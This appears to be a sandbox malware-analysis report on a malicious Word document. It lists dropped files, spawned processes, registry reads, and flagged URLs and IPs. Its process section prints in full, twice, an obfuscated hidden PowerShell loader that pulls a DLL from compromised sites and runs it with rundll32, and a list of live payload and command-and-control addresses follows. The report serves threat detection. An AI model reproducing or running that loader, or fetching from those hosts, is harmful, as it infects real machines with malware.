IOCReport

loading gif

Files

File Path
Type
Category
Malicious
Archivo 3012 122020 276701.doc
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Subject: RAM Switchable Creative synergies Massachusetts Refined Cotton Hat Cambridgeshire viral indigo digital Refined Fresh Chair Cuba e-enable plug-and-play, Author: Evan Marchand, Template: Normal.dotm, Last Saved By: Julie Hubert, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Dec 30 06:17:00 2020, Last Saved Time/Date: Wed Dec 30 06:17:00 2020, Number of Pages: 1, Number of Words: 3550, Number of Characters: 20235, Security: 8
initial sample
 malicious
C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A5D4ECFE-EB6B-4CC4-8C38-663EBE143117}.tmp
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Archivo 3012 122020 276701.LNK
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:18 2020, mtime=Wed Aug 26 14:08:18 2020, atime=Thu Jan 14 00:00:40 2021, length=166912, window=hide
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
ASCII text, with CRLF line terminators
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IW2BRIMCLIRUBKLGAL8Y.temp
data
dropped
 clean
C:\Users\user\Desktop\~$chivo 3012 122020 276701.doc
data
dropped
 clean

Processes

Path
Cmdline
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
 malicious
C:\Windows\System32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwAJwBNAC4AJwAsACcARQBjAFQATwAnACwAJwBJAE8ALgBkAEkAUgAnACkAIAAgACkAIAAgADsAIAAgAFMAdgAgACgAIgBwACIAKwAiAGwAdAAiACkAIAAoACAAIABbAFQAeQBwAGUAXQAoACIAewA0AH0AewA2AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AewA3AH0AewAyAH0AIgAgAC0AZgAnAEUAJwAsACcAVgBJAGMAJwAsACcAbQBhAG4AYQBHAEUAcgAnACwAJwBwACcALAAnAHMAeQBzAHQAZQAnACwAJwBSACcALAAnAG0ALgBuAEUAVAAuAHMAZQAnACwAJwBvAGkATgB0ACcAKQAgACAAKQAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAJwArACgAJwBpACcAKwAnAGwAZQAnACkAKwAnAG4AdAAnACsAKAAnAGwAJwArACcAeQBDACcAKQArACgAJwBvACcAKwAnAG4AdABpAG4AdQAnACsAJwBlACcAKQApADsAJABaAHkAOQAzADIANAByAD0AJABYADcAMABIACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABIADYAOABTADsAJABUADYANgBGAD0AKAAnAEsANwAnACsAJwA0AFUAJwApADsAIAAoAGcARQBUAC0AdgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAApAC4AdgBhAGwAVQBlADoAOgAiAGMAUgBgAGUAQQBgAFQAZQBEAEkAcgBFAGMAYABUAG8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ASgB4AGsAJwArACcANABqAHIAXwB7ADAAJwArACcAfQBEACcAKwAoACcAaAB1AGwAJwArACcAagBnAHoAJwApACsAJwB7ADAAfQAnACkAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQAWAA2ADAATQA9ACgAJwBJADcAJwArACcAXwBCACcAKQA7ACAAIAAoACAAIABWAGEAUgBpAGEAYgBsAEUAIAAoACIAUAAiACsAIgBMAHQAIgApACAAIAApAC4AdgBBAGwAVQBFADoAOgAiAFMAZQBjAFUAcgBpAHQAWQBQAHIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABGADAAXwBYAD0AKAAnAEUAMAAnACsAJwAyAFAAJwApADsAJABaAGEAYwAyAGcAdwBzACAAPQAgACgAKAAnAEQAJwArACcANwAxACcAKQArACcASgAnACkAOwAkAE0AMwBfAEEAPQAoACgAJwBVAF8AJwArACcANQAnACkAKwAnAE8AJwApADsAJABGAGEAZwBlADQAZwBqAD0AJABIAE8ATQBFACsAKAAoACgAJwBlAE0AcQAnACsAJwBKAHgAawA0AGoAJwArACcAcgAnACkAKwAoACcAXwBlAE0AJwArACcAcQBEAGgAJwApACsAKAAnAHUAbABqACcAKwAnAGcAJwApACsAJwB6ACcAKwAoACcAZQBNACcAKwAnAHEAJwApACkAIAAtAHIARQBwAEwAQQBjAGUAIAAgACgAJwBlACcAKwAnAE0AcQAnACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWgBhAGMAMgBnAHcAcwArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAEwAOQA1AEcAPQAoACgAJwBSADYAJwArACcANwAnACkAKwAnAE4AJwApADsAJABFAGcAegA3AG0AbABhAD0AKAAoACcAXQAnACsAJwBlADEAcgAnACsAJwBbAFMAJwApACsAKAAnADoALwAnACsAJwAvAHMAJwApACsAKAAnAHcAaQAnACsAJwBmACcAKQArACgAJwB0AGwAbwAnACsAJwBnACcAKwAnAGkAcwB0AGkAJwApACsAJwBjACcAKwAnAHMAZQAnACsAKAAnAGcALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAFYARQAnACsAJwA5AGgAMAAnACkAKwAnAGoAagAnACsAKAAnAC8AJwArACcAQABdACcAKQArACgAJwBlADEAJwArACcAcgBbAFMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBzAGEAaAAnACsAJwBsAGEALQBhACcAKwAnAGQALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACgAJwB0ACcAKwAnAC8AYQAvACcAKQArACcAQAAnACsAJwBdAGUAJwArACgAJwAxAHIAWwAnACsAJwBTADoAJwApACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAHkAJwArACcAcABoACcAKQArACcAYQAnACsAJwBtACcAKwAoACcAagAnACsAJwBhAHAAJwApACsAKAAnAGEAJwArACcAbgAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAGQAdQAnACsAJwBwAC0AaQBuACcAKQArACcAcwAnACsAJwB0ACcAKwAnAGEAJwArACgAJwBsAGwAZQAnACsAJwByAC8AZAAnACkAKwAoACcAYgAnACsAJwAvAEAAXQBlACcAKQArACgAJwAxAHIAWwBTAHMAOgAnACsAJwAvACcAKwAnAC8AJwApACsAJwBiACcAKwAnAGEAJwArACgAJwBuACcAKwAnAGQAYQAnACkAKwAoACcAcgAnACsAJwBhAGIAYgAnACkAKwAoACcAYQBkACcAKwAnAC4AYwAnACsAJwBvACcAKwAnAG0ALwB3AHAAJwApACsAKAAnAC0AJwArACcAYQBkACcAKQArACcAbQAnACsAJwBpACcAKwAnAG4ALwAnACsAKAAnAEwAbwAnACsAJwA1AGsARQAnACkAKwAoACcAYQAvACcAKwAnAEAAXQBlACcAKQArACcAMQByACcAKwAoACcAWwBTADoALwAnACsAJwAvACcAKQArACcAbgAnACsAJwBnACcAKwAoACcAcgBlACcAKwAnAGgAJwApACsAKAAnAGEAYgAuACcAKwAnAGIAaQB6AC8AdwAnACkAKwAoACcAcAAtAGkAJwArACcAbgAnACsAJwBjAGwAJwApACsAKAAnAHUAJwArACcAZABlAHMALwAnACsAJwBUACcAKQArACgAJwBDAFcAZQAnACsAJwBlACcAKQArACgAJwBOAC8AQAAnACsAJwBdACcAKQArACgAJwBlADEAJwArACcAcgAnACkAKwAnAFsAJwArACgAJwBTAHMAJwArACcAOgAvACcAKQArACgAJwAvAHcAJwArACcAdwAnACsAJwB3AC4AYgAnACkAKwAoACcAZQByACcAKwAnAGUAJwApACsAJwBrAGUAJwArACgAJwB0ACcAKwAnAHMAdQB0ACcAKQArACcAZQAnACsAKAAnAHMAJwArACcAaQBzAGEAdABjACcAKQArACcAaQBzACcAKwAnAGkAJwArACcALgBjACcAKwAoACcAbwBtACcAKwAnAC8AdwBwACcAKQArACcALQAnACsAKAAnAGMAJwArACcAbwBuAHQAZQBuAHQAJwArACcALwAnACkAKwAoACcAeAAnACsAJwBoAEcAJwApACsAJwBzACcAKwAoACcANAAnACsAJwAzAGMAJwApACsAJwAvAEAAJwArACcAXQAnACsAKAAnAGUAMQByAFsAJwArACcAUwAnACkAKwAoACcAcwA6AC8AJwArACcALwAnACsAJwBhAHMAdAByACcAKwAnAG8AbAAnACkAKwAoACcAbwBnAGkAYQBlAHgAJwArACcAaQBzAHQAJwApACsAJwBlACcAKwAoACcAbgAnACsAJwBjAGkAYQBsACcAKQArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALwBsACcAKwAoACcALwAnACsAJwBMAC8AJwApACkALgAiAHIAZQBwAGwAYABBAEMARQAiACgAKAAnAF0AJwArACcAZQAxACcAKwAoACcAcgBbACcAKwAnAFMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAHAATABgAEkAdAAiACgAJABZADYANwBKACAAKwAgACQAWgB5ADkAMwAyADQAcgAgACsAIAAkAE4ANQA5AFMAKQA7ACQASAA1ADYAVQA9ACgAJwBDACcAKwAoACcAOABfACcAKwAnAFkAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEgAaABuADMAZwBwADAAIABpAG4AIAAkAEUAZwB6ADcAbQBsAGEAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAJwArACcAdwAtAE8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAFMAeQBTAHQAZQBtAC4ATgBlAFQALgBXAGUAQgBDAGwAaQBlAG4AdAApAC4AIgBEAGAAbwBXAE4AbABvAGAAQQBEAGYASQBgAGwAZQAiACgAJABIAGgAbgAzAGcAcAAwACwAIAAkAEYAYQBnAGUANABnAGoAKQA7ACQARwA1ADUAVgA9ACgAJwBLACcAKwAoACcANgAnACsAJwAwAFMAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQARgBhAGcAZQA0AGcAagApAC4AIgBMAGUAYABOAGAARwBUAEgAIgAgAC0AZwBlACAAMwA3ADkAOQAyACkAIAB7ACYAKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAEYAYQBnAGUANABnAGoALAAoACcAQwAnACsAJwBvAG4AJwArACcAdAAnACsAKAAnAHIAbwBsAF8AJwArACcAUgAnACsAJwB1AG4ARABMAEwAJwApACkALgAiAHQATwBgAHMAdABSAEkAYABOAEcAIgAoACkAOwAkAEEANwA4AFUAPQAoACcAUgAnACsAKAAnADcAJwArACcAMQBQACcAKQApADsAYgByAGUAYQBrADsAJABGADgANwBWAD0AKAAnAEkAJwArACgAJwA3ACcAKwAnADgAVgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwA4ADIATAA9ACgAJwBEADkAJwArACcAXwBRACcAKQA=
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwAJwBNAC4AJwAsACcARQBjAFQATwAnACwAJwBJAE8ALgBkAEkAUgAnACkAIAAgACkAIAAgADsAIAAgAFMAdgAgACgAIgBwACIAKwAiAGwAdAAiACkAIAAoACAAIABbAFQAeQBwAGUAXQAoACIAewA0AH0AewA2AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AewA3AH0AewAyAH0AIgAgAC0AZgAnAEUAJwAsACcAVgBJAGMAJwAsACcAbQBhAG4AYQBHAEUAcgAnACwAJwBwACcALAAnAHMAeQBzAHQAZQAnACwAJwBSACcALAAnAG0ALgBuAEUAVAAuAHMAZQAnACwAJwBvAGkATgB0ACcAKQAgACAAKQAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAJwArACgAJwBpACcAKwAnAGwAZQAnACkAKwAnAG4AdAAnACsAKAAnAGwAJwArACcAeQBDACcAKQArACgAJwBvACcAKwAnAG4AdABpAG4AdQAnACsAJwBlACcAKQApADsAJABaAHkAOQAzADIANAByAD0AJABYADcAMABIACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABIADYAOABTADsAJABUADYANgBGAD0AKAAnAEsANwAnACsAJwA0AFUAJwApADsAIAAoAGcARQBUAC0AdgBBAFIAaQBBAGIAbABFACAAOABZAEUAIAApAC4AdgBhAGwAVQBlADoAOgAiAGMAUgBgAGUAQQBgAFQAZQBEAEkAcgBFAGMAYABUAG8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0ASgB4AGsAJwArACcANABqAHIAXwB7ADAAJwArACcAfQBEACcAKwAoACcAaAB1AGwAJwArACcAagBnAHoAJwApACsAJwB7ADAAfQAnACkAIAAtAEYAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQAWAA2ADAATQA9ACgAJwBJADcAJwArACcAXwBCACcAKQA7ACAAIAAoACAAIABWAGEAUgBpAGEAYgBsAEUAIAAoACIAUAAiACsAIgBMAHQAIgApACAAIAApAC4AdgBBAGwAVQBFADoAOgAiAFMAZQBjAFUAcgBpAHQAWQBQAHIATwBUAGAAbwBjAGAATwBsACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABGADAAXwBYAD0AKAAnAEUAMAAnACsAJwAyAFAAJwApADsAJABaAGEAYwAyAGcAdwBzACAAPQAgACgAKAAnAEQAJwArACcANwAxACcAKQArACcASgAnACkAOwAkAE0AMwBfAEEAPQAoACgAJwBVAF8AJwArACcANQAnACkAKwAnAE8AJwApADsAJABGAGEAZwBlADQAZwBqAD0AJABIAE8ATQBFACsAKAAoACgAJwBlAE0AcQAnACsAJwBKAHgAawA0AGoAJwArACcAcgAnACkAKwAoACcAXwBlAE0AJwArACcAcQBEAGgAJwApACsAKAAnAHUAbABqACcAKwAnAGcAJwApACsAJwB6ACcAKwAoACcAZQBNACcAKwAnAHEAJwApACkAIAAtAHIARQBwAEwAQQBjAGUAIAAgACgAJwBlACcAKwAnAE0AcQAnACkALABbAGMASABBAFIAXQA5ADIAKQArACQAWgBhAGMAMgBnAHcAcwArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAEwAOQA1AEcAPQAoACgAJwBSADYAJwArACcANwAnACkAKwAnAE4AJwApADsAJABFAGcAegA3AG0AbABhAD0AKAAoACcAXQAnACsAJwBlADEAcgAnACsAJwBbAFMAJwApACsAKAAnADoALwAnACsAJwAvAHMAJwApACsAKAAnAHcAaQAnACsAJwBmACcAKQArACgAJwB0AGwAbwAnACsAJwBnACcAKwAnAGkAcwB0AGkAJwApACsAJwBjACcAKwAnAHMAZQAnACsAKAAnAGcALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AJwApACsAKAAnAFYARQAnACsAJwA5AGgAMAAnACkAKwAnAGoAagAnACsAKAAnAC8AJwArACcAQABdACcAKQArACgAJwBlADEAJwArACcAcgBbAFMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBzAGEAaAAnACsAJwBsAGEALQBhACcAKwAnAGQALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACgAJwB0ACcAKwAnAC8AYQAvACcAKQArACcAQAAnACsAJwBdAGUAJwArACgAJwAxAHIAWwAnACsAJwBTADoAJwApACsAJwAvACcAKwAnAC8AbQAnACsAKAAnAHkAJwArACcAcABoACcAKQArACcAYQAnACsAJwBtACcAKwAoACcAagAnACsAJwBhAHAAJwApACsAKAAnAGEAJwArACcAbgAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAGQAdQAnACsAJwBwAC0AaQBuACcAKQArACcAcwAnACsAJwB0ACcAKwAnAGEAJwArACgAJwBsAGwAZQAnACsAJwByAC8AZAAnACkAKwAoACcAYgAnACsAJwAvAEAAXQBlACcAKQArACgAJwAxAHIAWwBTAHMAOgAnACsAJwAvACcAKwAnAC8AJwApACsAJwBiACcAKwAnAGEAJwArACgAJwBuACcAKwAnAGQAYQAnACkAKwAoACcAcgAnACsAJwBhAGIAYgAnACkAKwAoACcAYQBkACcAKwAnAC4AYwAnACsAJwBvACcAKwAnAG0ALwB3AHAAJwApACsAKAAnAC0AJwArACcAYQBkACcAKQArACcAbQAnACsAJwBpACcAKwAnAG4ALwAnACsAKAAnAEwAbwAnACsAJwA1AGsARQAnACkAKwAoACcAYQAvACcAKwAnAEAAXQBlACcAKQArACcAMQByACcAKwAoACcAWwBTADoALwAnACsAJwAvACcAKQArACcAbgAnACsAJwBnACcAKwAoACcAcgBlACcAKwAnAGgAJwApACsAKAAnAGEAYgAuACcAKwAnAGIAaQB6AC8AdwAnACkAKwAoACcAcAAtAGkAJwArACcAbgAnACsAJwBjAGwAJwApACsAKAAnAHUAJwArACcAZABlAHMALwAnACsAJwBUACcAKQArACgAJwBDAFcAZQAnACsAJwBlACcAKQArACgAJwBOAC8AQAAnACsAJwBdACcAKQArACgAJwBlADEAJwArACcAcgAnACkAKwAnAFsAJwArACgAJwBTAHMAJwArACcAOgAvACcAKQArACgAJwAvAHcAJwArACcAdwAnACsAJwB3AC4AYgAnACkAKwAoACcAZQByACcAKwAnAGUAJwApACsAJwBrAGUAJwArACgAJwB0ACcAKwAnAHMAdQB0ACcAKQArACcAZQAnACsAKAAnAHMAJwArACcAaQBzAGEAdABjACcAKQArACcAaQBzACcAKwAnAGkAJwArACcALgBjACcAKwAoACcAbwBtACcAKwAnAC8AdwBwACcAKQArACcALQAnACsAKAAnAGMAJwArACcAbwBuAHQAZQBuAHQAJwArACcALwAnACkAKwAoACcAeAAnACsAJwBoAEcAJwApACsAJwBzACcAKwAoACcANAAnACsAJwAzAGMAJwApACsAJwAvAEAAJwArACcAXQAnACsAKAAnAGUAMQByAFsAJwArACcAUwAnACkAKwAoACcAcwA6AC8AJwArACcALwAnACsAJwBhAHMAdAByACcAKwAnAG8AbAAnACkAKwAoACcAbwBnAGkAYQBlAHgAJwArACcAaQBzAHQAJwApACsAJwBlACcAKwAoACcAbgAnACsAJwBjAGkAYQBsACcAKQArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALwBsACcAKwAoACcALwAnACsAJwBMAC8AJwApACkALgAiAHIAZQBwAGwAYABBAEMARQAiACgAKAAnAF0AJwArACcAZQAxACcAKwAoACcAcgBbACcAKwAnAFMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAHAATABgAEkAdAAiACgAJABZADYANwBKACAAKwAgACQAWgB5ADkAMwAyADQAcgAgACsAIAAkAE4ANQA5AFMAKQA7ACQASAA1ADYAVQA9ACgAJwBDACcAKwAoACcAOABfACcAKwAnAFkAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEgAaABuADMAZwBwADAAIABpAG4AIAAkAEUAZwB6ADcAbQBsAGEAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAJwArACcAdwAtAE8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAFMAeQBTAHQAZQBtAC4ATgBlAFQALgBXAGUAQgBDAGwAaQBlAG4AdAApAC4AIgBEAGAAbwBXAE4AbABvAGAAQQBEAGYASQBgAGwAZQAiACgAJABIAGgAbgAzAGcAcAAwACwAIAAkAEYAYQBnAGUANABnAGoAKQA7ACQARwA1ADUAVgA9ACgAJwBLACcAKwAoACcANgAnACsAJwAwAFMAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQARgBhAGcAZQA0AGcAagApAC4AIgBMAGUAYABOAGAARwBUAEgAIgAgAC0AZwBlACAAMwA3ADkAOQAyACkAIAB7ACYAKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAEYAYQBnAGUANABnAGoALAAoACcAQwAnACsAJwBvAG4AJwArACcAdAAnACsAKAAnAHIAbwBsAF8AJwArACcAUgAnACsAJwB1AG4ARABMAEwAJwApACkALgAiAHQATwBgAHMAdABSAEkAYABOAEcAIgAoACkAOwAkAEEANwA4AFUAPQAoACcAUgAnACsAKAAnADcAJwArACcAMQBQACcAKQApADsAYgByAGUAYQBrADsAJABGADgANwBWAD0AKAAnAEkAJwArACgAJwA3ACcAKwAnADgAVgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwA4ADIATAA9ACgAJwBEADkAJwArACcAXwBRACcAKQA=
 malicious
C:\Windows\System32\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Moldomm\fjtiec.rgj',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hvqnocqonseaz\zdvhyvhbysxx.hcy',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gayqjpva\ysvakhm.scw',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xhfpu\newi.giu',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yytiwgytsocbk\gpzklkwqavfq.ceg',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Imqrvegnw\xbxcngor.sdx',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ssritkfxztntpmvd\impzxzazvxmnbpe.sxx',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Mtqaaznoxelwda\uiusvmdbvqkdi.arh',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rpamxseaazc\tejhffkmgs.jfm',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Plxgoxjb\fxypucw.ewq',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zybnxerarhwdt\tjsmjxqxfmoi.jrk',Control_RunDLL
 malicious
C:\Windows\System32\msg.exe
msg user /v Word experienced an error trying to open the file.
clean
There are 7 hidden processes, click here to show them.

URLs

Name
IP
Malicious
https://www.bereketsutesisatcisi.com/wp-content/xhGs43c/
unknown
 malicious
http://swiftlogisticseg.com/wp-admin/VE9h0jj/
35.214.159.46
 malicious
http://152.170.79.100/33wjxarr/4ph6t704u91pnssxqi/56hw26jb5vm/yt6kr0s/58j9f7jerowh66trm/
152.170.79.100
 malicious
http://myphamjapan.com/dup-installer/db/
unknown
 malicious
http://sahla-ad.com/wp-content/a/
unknown
 malicious
http://ngrehab.biz/wp-includes/TCWeeN/
unknown
 malicious
https://astrologiaexistencial.com/l/L/
unknown
 malicious
http://swiftlogisticseg.com
unknown
 malicious
https://bandarabbad.com/wp-admin/Lo5kEa/
unknown
 malicious
http://www.windows.com/pctv.
unknown
 clean
http://investor.msn.com
unknown
 clean
http://www.msnbc.com/news/ticker.txt
unknown
 clean
http://wellformedweb.org/CommentAPI/
unknown
 clean
http://www.iis.fhg.de/audioPA
unknown
 clean
http://windowsmedia.com/redir/services.asp?WMPFriendly=true
unknown
 clean
http://www.hotmail.com/oe
unknown
 clean
http://treyresearch.net
unknown
 clean
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
unknown
 clean
http://www.icra.org/vocabulary/.
unknown
 clean
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
unknown
 clean
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
unknown
 clean
http://investor.msn.com/
unknown
 clean
http://www.piriform.com/ccleaner
unknown
 clean
http://computername/printers/printername/.printer
unknown
 clean
http://www.%s.comPA
unknown
 clean
There are 15 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
swiftlogisticseg.com
35.214.159.46
 malicious

IPs

IP
Domain
Country
Active
Malicious
152.170.79.100
unknown
Argentina
unknown
 malicious
35.214.159.46
unknown
United States
unknown
 malicious

Registry

Path
Value
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
qs7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
yt7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
u7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
VBAFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ReviewToken
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EDF19
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU-ExtB
 clean
